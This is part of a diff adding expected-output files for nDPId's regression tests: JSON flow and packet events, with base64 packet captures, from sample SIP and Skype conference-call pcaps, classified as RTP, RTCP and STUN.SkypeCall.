+00892{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470090,"pkt_ts_usec":856381,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaooAAIARzI\/AqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00891{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470094,"pkt_ts_usec":861859,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTaowAAIARzI3AqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00891{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470098,"pkt_ts_usec":867648,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTao0AAIARzIzAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00891{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470102,"pkt_ts_usec":883325,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTapAAAIARzInAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00891{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470106,"pkt_ts_usec":888846,"pkt_caplen":417,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":417,"pkt_l4_len":383,"pkt":"ADBUADRWAODtAW69CABFAAGTapEAAIARzIjAqAECyER4URPEE8QBf5mcQ0FOQ0VMIHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0IFNJUC8yLjANClZpYTogU0lQLzIuMC9VRFAgMTkyLjE2OC4xLjI7YnJhbmNoPXo5aEc0YktucDEwNDk4NDA1My00NGNlNGE0MTE5Mi4xNjguMS4yO3Jwb3J0DQpGcm9tOiAiYXJpayIgPHNpcDo4MTY2NjZAdm9pcC5icnVyanVsYS5uZXQ+O3RhZz02NDMzZWY5DQpUbzogPHNpcDo5NzIzOTI4NzA0NEB2b2lwLmJydWp1bGEubmV0Pg0KQ2FsbC1JRDogMTA1MDkwMjU5LTQ0NmZhZjdhQDE5Mi4xNjguMS4yDQpDU2VxOiAxIENBTkNFTA0KQ29udGVudC1MZW5ndGg6IDANCk1heC1Gb3J3YXJkczogNzANClVzZXItQWdlbnQ6IE5lcm8gU0lQUFMgSVAgUGhvbmUgVmVyc2lvbiAyLjAuNTEuMTYNCg0K"} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":69,"source":"sip.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":18,"flow_first_seen":1120470049188,"flow_last_seen":1120470116279,"flow_tot_l4_data_len":8900,"flow_min_l4_data_len":355,"flow_max_l4_data_len":830,"flow_avg_l4_data_len":494,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"200.68.120.81","src_port":5060,"dst_port":5060,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":95,"source":"sip.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1120470985348,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":348411,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIa\/wAAIARFmjAqAEC1PIhJHUwncgAtBjegAhvrgAABNg3lstx1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1REEHBgYEhIeEBQXahMcGAQEBQYBAQAHBQUZEwUbGRATGQUEBAcDAgMDAAACDQ0NAAEDDQwNAAABAgMBBgYBDw4ODAMABwYAAwMGBwEEBgYbHxwRaWBiFREQFGoTFWBpYX10UltZ10dcVlJVREtCdVlzeFp8bmgUag=="} +00503{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":95,"source":"sip.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1120470985348,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.36","src_port":30000,"dst_port":40392,"l4_proto":"udp","ndpi": {"proto":"RTP","breed":"Acceptable","category":"Media"}} +00626{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":418358,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIa\/0AAIARFmfAqAEC1PIhJHUwncgAtL+rgAhvrwAABXg3lstxbmgVFGoUFBVpYG5qbG5kbGoWF2xubWBmfn9Fxsnw\/Ofz+uXwy\/H2z83k+sJTdF9CW\/bw8vzg7pfo8ldaT011Z399ZmV0dUN4S0dVQ2dmbWNsZGZkeGRvbxQUbBcRExAXEBwfHRAQFhAQHxwfGR4YEBcSFGxibWNqFRUXbmV3ckDQ93N9fmJnYmoVahcVZUNxWll+YGZ6cnJJZXpgeF1EQg=="} +00626{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":421891,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIa\/4AAIARFmbAqAEC1PIhJHUwncgAtNyMgAhvsAAABhg3lstxcX5wdtbF0Et0dn92T1BB0VhmZ2V\/Z294Y2ZmahQXFhQREBAVb2ZPemVlYWJoYE9\/YWZkcnV4bWwVFRVqZ2xpYn94ZmBnY2F0zfjXdmNiYXhveHJgaW5jUFlwZW1kYWdlamoREhAQEx4fHx0XahRvRl1F3V5ESdbQxFFR39TfQXR\/Z9L15ebs6JeW7+DslJOU6uqUn5CcnJKX+Ofs5+Hg6g=="} +00624{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":427557,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIa\/8AAIARFmXAqAEC1PIhJHUwncgAtJlvgAhvsQAABrg3lstxkpfo6Zfq5frn5uz6+sB4emFkcGBneMvv7+rslZHu5OLqkpKdkpCUlZGcnpuHh4GAgoODgYGGhoGBgIGDg4GAhoSFhZ6ZhYSFhYeHhoWFhICCgIOBmJyQnZ+Yn5CW6u7s6e7ol+ji7vrcWtzJ8\/Lz9ujq7u6XkZaWkZ2Ym5iFh4aGhZyemZ6fmZ+fk5OfhYeEk5STk5eU6fj3T1hDVM9BQg=="} +00628{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":429664,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAAAAIARFmTAqAEC1PIhJHUwncgAtMoSgAhvsgAAB1g3lstxRH1wVt719vLg7uHxw3h4ZGRhfE9UWV\/Rz+Dt5\/PklJOUlJXt4uzx+Pjm5PPHzf38\/fr05+3ikurj4ezn4+H6\/97AwEJ8S9DN9Vd1XdzJ8eDp6eXwzcXWRUJnZHhnYX96aHLW+ubo6eHg5\/DG\/MNRcE3B+ubNy+Xu7Obt7+qX6u7oy9fw3vLT3N1W19X49PBBf39jZnhmbBEdEWpqb2BweA=="} +00628{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":464477,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAEAAIARFmPAqAEC1PIhJHUwncgAtHeogAhvswAAB\/g3lstxZWVmFB0cBQQHBwQbHxZgY21iFGpoFRdvFxMWEBAdFhEQFhcREBVoam1hbmNjFBYQHx4SHRYWEh0XaW0VaWR\/aGoUF2liaBEUFm9mZm1hbWgVER0ZHB0fHRsbHhwdHxgbGREVbmoUEhsFBBgFGx0TFmx6cUZxZWZoaXJ2cmoTExESExRqZFPLyfH47frj+svP1PT6X0\/RW0t\/SXVUy\/7m7A=="} +00629{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":466372,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAIAAIARFmLAqAEC1PIhJHUwncgAtKmigAhvtAAACJg3lstx5NneS0l8Y2kVYm9oFW9tbW1jZWRyc3hvZmpoaGpjaHpzTXRnen5Z2l1FzdHU0dvZy+zx3Pzm7peVlZeX7unjw\/P09\/Xz4fzz9c3C9uXl+vP2Wkl0aG1mZ0twR1TQWU1PflrBy\/PBR3BkZ2ZsZHN6YWRyeHXH4\/\/x8U1W\/Nb15ezv7pWRkJ2FmZubhYWEhZiZm4SFhISYnoWbhISbnJaXlw=="} +00627{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":504000,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAMAAIARFmHAqAEC1PIhJHUwncgAtLaDgAhvtQAACTg3lstx6urs5ueUkJOXlZGWlOyVlOD46O7hzXXbxsfz\/OLg5ufawPH4wk3N8Obu7+Pv6unk4fj\/29jZ1\/7l4+Ht7JOXlOrs4vPPUfVQz97J5fLjl5GXkpyRl+jqk5aQlero4uLh7+rslJfp6uP+9vbL+OLg5vj99\/LL9ub4+uTs6ZSVlJXp6Ojv7eqWkZOTnJORkpCTk5GXlpaRkJCW6erp7JWXlw=="} +00627{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470985,"pkt_ts_usec":511036,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"ADBUADRWAODtAW69CABFAADIbAQAAIARFmDAqAEC1PIhJHUwncgAtIfqgAhvtgAACdg3lstxlpDplp2cmZ6fkpaRle3n9PTy\/PyVkZKehIeEmJGRl52QlJaX6OOU6JaRlp2cn4WEhZ2RkJeV6ZaQnZ6EhJuFh4WFmYWYk5+dkpCQ6u\/qkZ2fmYSYnZ6Rk5OU7OD6+Pbh4PTl+OTo6unl9eXi7f7c1VT\/+uiX6JSUkJCV7uXm\/Obu7pWWkZeW7OPpk5Ofm5+Yk5WV7untlJeSkpeV7+qWkA=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":104,"source":"sip.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1120470986363,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.36","src_port":30001,"dst_port":40393,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00531{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"sip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1120470986,"pkt_ts_usec":363611,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"ADBUADRWAODtAW69CABFAACEbAUAAIARFqPAqAEC1PIhJHUxnckAcCyBgMgABjeWy3FCyQfKXvrGAwAAJMMAAAAJAAAGDIHKAAs3lstxAR0xMTg5NDI5Ny00NDMyYTlmOEAxOTIuMTY4LjEuMgYFU0lQUFMAAIHLAAY3lstxEHNlc3Npb24gc2h1dGRvd24AAAA="} +00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"sip.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1120470986363,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.36","src_port":30001,"dst_port":40393,"l4_proto":"udp","ndpi": {"proto":"RTCP","breed":"Acceptable","category":"VoIP"}} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":105,"source":"sip.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1120470986363,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.2","dst_ip":"212.242.33.36","src_port":30001,"dst_port":40393,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} diff --git a/test/results/skype-conference-call.pcap.out b/test/results/skype-conference-call.pcap.out new file mode 100644 index 000000000..7c2d50c22 --- /dev/null +++ b/test/results/skype-conference-call.pcap.out @@ -0,0 +1,17 @@ +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"skype-conference-call.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1501061916646,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.20","dst_ip":"104.46.40.49","src_port":49282,"dst_port":60642,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00551{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":646303,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"XEl5dU5qxCwDBkn+CABFAACEzEwAAEARWwHAqAIUaC4oMcCC7OIAcIaYAAEAVCESpELFWk\/f3gwyXjBMYMcABgAJZ3BwZTp6V3lrAAAAACQABG7\/\/v+AKgAIAAAAAAC\/QxeAVAABMQAAAIBwAAQAAAADAAgAFMOSZmY4XAmhNOQKDGwu8wYai2KrgCgABB+1m2s="} +00587{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"skype-conference-call.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1501061916646,"flow_last_seen":0,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":112,"flow_max_l4_data_len":112,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.20","dst_ip":"104.46.40.49","src_port":49282,"dst_port":60642,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"STUN.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00549{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":653642,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xCwDBkn+XEl5dU5qCABFAACERTYAAG4RtBdoLigxwKgCFOziwIIAcHm6AAEAVCESpEI8yF2moGJ4zvU2wuEABgAJeld5azpncHBlAAAAACQABG7\/\/v+AKQAIAAAAAAACl5OAVAABMQAAAIBwAAQAAAADAAgAFHnv8xovieyQrsQ6j2MMyqg8GNj1gCgABORvfhY="} +00503{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":690803,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"XEl5dU5qxCwDBkn+CABFAABkjWYAAEARmgfAqAIUaC4oMcCC7OIAUFnEAQEANCESpEI8yF2moGJ4zvU2wuEAIAAIAAHN8Ek8jHOAcAAEAAAAAwAIABSgsacIkgIOfzKEQbuerkeFTLj204AoAASK\/70B"} +00503{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":708119,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"xCwDBkn+XEl5dU5qCABFAABkRTcAAG4RtDZoLigxwKgCFOziwIIAUMppAQEANCESpELFWk\/f3gwyXjBMYMcAIAAIAAHhkH7lJQGAcAAEAAAAAwAIABQrKEEJgBBMTTHUJMwo4kS9VvHVU4AoAARKHr2N"} +00549{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":708296,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xCwDBkn+XEl5dU5qCABFAACERTgAAG4RtBVoLigxwKgCFOziwIIAcHm6AAEAVCESpEI8yF2moGJ4zvU2wuEABgAJeld5azpncHBlAAAAACQABG7\/\/v+AKQAIAAAAAAACl5OAVAABMQAAAIBwAAQAAAADAAgAFHnv8xovieyQrsQ6j2MMyqg8GNj1gCgABORvfhY="} +00503{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":745682,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"XEl5dU5qxCwDBkn+CABFAABk+qAAAEARLM3AqAIUaC4oMcCC7OIAUFnEAQEANCESpEI8yF2moGJ4zvU2wuEAIAAIAAHN8Ek8jHOAcAAEAAAAAwAIABSgsacIkgIOfzKEQbuerkeFTLj204AoAASK\/70B"} +00554{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":746018,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"XEl5dU5qxCwDBkn+CABFAACIyYsAAEARXb7AqAIUaC4oMcCC7OIAdCd0AAEAWCESpELFWk\/f3gwyXjBMYMcABgAJZ3BwZTp6V3lrAAAAACQABG7\/\/v8AJQAAgCoACAAAAAAAv0MXgFQAATEAAACAcAAEAAAAAwAIABT1JqdLy2bXvEeDsPwpSdGXvE59K4AoAARcs9hB"} +00557{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":756360,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"XEl5dU5qxCwDBkn+CABFAACKpCcAAEARgyDAqAIUaC4oMcCC7OIAdi+4kGhdMwwzN\/\/gdMcAvt4AARJzAe98e2MCoivqZPnJUAFL3VX33q5uQ+IYKuS0EUKTIo39Hj8iukGI19FjyOxrBZyYkg6iF95EWV8le0HWtWEfKWDyZ1DDN5hOm3Kp5iAcotTqAYm+0+HE7xx8OWI="} +00551{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":776451,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"XEl5dU5qxCwDBkn+CABFAACDJZIAAEARAb3AqAIUaC4oMcCC7OIAbyMtkGhdNAwzOT\/gdMcAvt4AARJzFoIj8RvDtoBnCmxX9hIkCAPQbg6oB6F+2\/BS2ej\/1Yx+s5sbTunvLBoL2m+o5Jy0WdwZpTg4y027nZALU7f94OZPLZpX+snOwU8BPCbpSEb6h\/hgjA=="} +00538{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":800892,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"XEl5dU5qxCwDBkn+CABFAAB7Cq8AAEARHKjAqAIUaC4oMcCC7OIAZ5KRkGhdNQwzOn\/gdMcAvt4AARJzL5WXAb4FnUpu5Ustien9yf4fKgKyZziei2176fxqYI29WcaPKmNBgxwUzkC0b7AvDpOjrM+YKSoqSExQI68c1fSSAXoy96BR5daIvws="} +00638{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"skype-conference-call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1501061916,"pkt_ts_usec":808390,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"xCwDBkn+XEl5dU5qCABFAADDRTkAAG4Rs9VoLigxwKgCFOziwIIAr5d6gckAEAAAA+jRYbbdpaZwZcp4HhimQeJvWTqwNpGSqnfDF2++mcV0CSMOA2sesBI9G6QTGaW73P0MbrjdyL2V7ezUhMi+JhQH1l+\/pucjL24WG\/3W+6J2ACSbEnQkSGuZnDqR07Gu66wLz\/t2bDNdmg\/zDByyOeTksyEr32n2gdG1py7P7M0grJaV4UdIpWrLn3RHkhXNGy+AAAACAUPdhV3J\/ZuDflQ="} 